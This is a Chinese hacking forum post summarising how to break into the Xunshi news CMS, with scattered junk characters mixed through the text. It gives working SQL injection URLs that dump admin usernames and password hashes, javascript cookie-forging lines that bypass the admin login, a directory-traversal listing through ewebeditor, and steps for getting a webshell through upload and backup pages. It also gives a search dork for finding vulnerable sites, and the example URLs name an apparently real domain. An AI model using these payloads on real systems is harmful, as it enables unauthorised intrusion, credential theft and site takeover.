讯时漏洞总结

admin

by:血封忆尘
/ i/ C# h' z9 I2 F  ?+ u2 n1 L  B
2 `0 d  E) Y) T9 q在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）

以下本文总结来自黑防去年第9期杂志上的内容...

先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

( Z) R4 d, \; F# t6 N9 W8 k26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

+ m$ A+ Z( f0 y1 {记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
9 X( v, X: A& S( ^+ Q0 C( ?. O这里一个注入
  N! x. l  S6 H$ |1 P8 R& G+ g3 @
7 R* i3 g; Z' N+ o6 s' i效果如图:

- u+ w% [4 H# c- A% A" @
4 p- [# }7 ~) c6 @8 w; A' g
这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
' Y! P) X: G+ g8 `% w8 N. k7 I# ^
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
4 x. {( k7 q6 v
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));

: s, E# ]8 d/ w那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
5 p6 l8 g4 d1 j; B, \) [
访问这页面来列目录..步骤如下:
# C/ |. h2 n' m7 z: E
/ F) F* q8 H) H* E% ]javascript:alert(document.cookie="admindj=1")
# s% T+ ?7 Q' s$ w
http://www.political-security.co ... asp?id=46&dir=../..

效果如图:
' A7 ]; }9 U6 t; V9 u- I6 Q0 H, Q' M
% G9 X2 r- W6 @0 O& ^
2 z! B  n9 v* H* Q0 x
这样全站目录都能瞧了..找到后台目录..进去..
2 ^9 i2 y9 G2 _" b
那么进了后台怎么拿shell？？上传--备份就ok了..
  q8 z, s% M3 }
. k0 D9 v  E( U$ n那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
/ x- h  w2 S# j8 |9 V. F! N, D; W
- P0 g9 o$ H% ]$ X) |+ r! S这个我也碰到过一次..你都可以通过列目录来实现..
! S. |, b+ {7 r' }, n6 D1 {9 Y4 q, T
javascript:alert(document.cookie="admindj=1")
1 ~8 v7 j2 A3 A- |8 Z- V
http://www.political-security.co ... p?action=BackupData

备份ok..

那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
4 k. ?. N1 v/ L0 n- U  W& E
; X' S7 `: H% ~% }. [: U7 p在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下

然后访问此页面进行注入..步骤如下:
* @" O3 Y0 b0 R% \7 K, w' _! Q
javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
% s% R& R) q' `+ W3 F
然后请求admin/admin_chk.asp页面

* O2 j3 i8 @1 F. A  ]* \输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
/ T& p! ~  \) L" ~2 d& d$ K. |
7 H4 }- Y* v" p0 X效果如图所示:
; F& W6 m7 @+ s
/ W7 E- [4 p2 p8 |2 @4 K- W
7 m7 M8 Q9 @, g% f* f* _. h
! ]0 V* U$ d# t1 x# l5 G讯时漏洞2
' V6 C2 }9 O8 R8 }  S( Rgoogle关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
8 Q* P8 y' ?7 n4 p% {
1、/admin/admin_news_pl_view.asp?id=1
- s. l  V  h( X: H//id任意 填入以下语句
( ^$ T9 u* x4 J" M: u1 I: {" h
# m5 q* l) U4 a  I2 Z2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！

# I; [) v- V0 S) k

) [1 I6 s& @7 S' b  s3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='

" Z: Q* X, D, Y5 x

爆出管理员帐号和密码了
, f( a& v+ u) u* j
2 Q- q- b, M7 ~' B& n
3 Q7 S$ s& R3 w' j* y) P5 K$ F
4、cookies进后台

javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
( N# M! X% x4 E2 W& n/ Q; P

6 E4 X3 b% A0 ^0 g( x! r
5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！


1 ~+ N( o+ s% D
/ y3 [( ?8 [8 K3 R6 T- }% _6 v% i6、后台有上传和备份取SHELL不难。

$ i  K0 `4 I( ?% t0 t8 F7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..

逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！
* y; C) H  t7 P/ t4 J8 ?
$ S2 ^$ W& g+ q" T$ B( u9 R

9 p! F1 M2 [; ]2 O9 `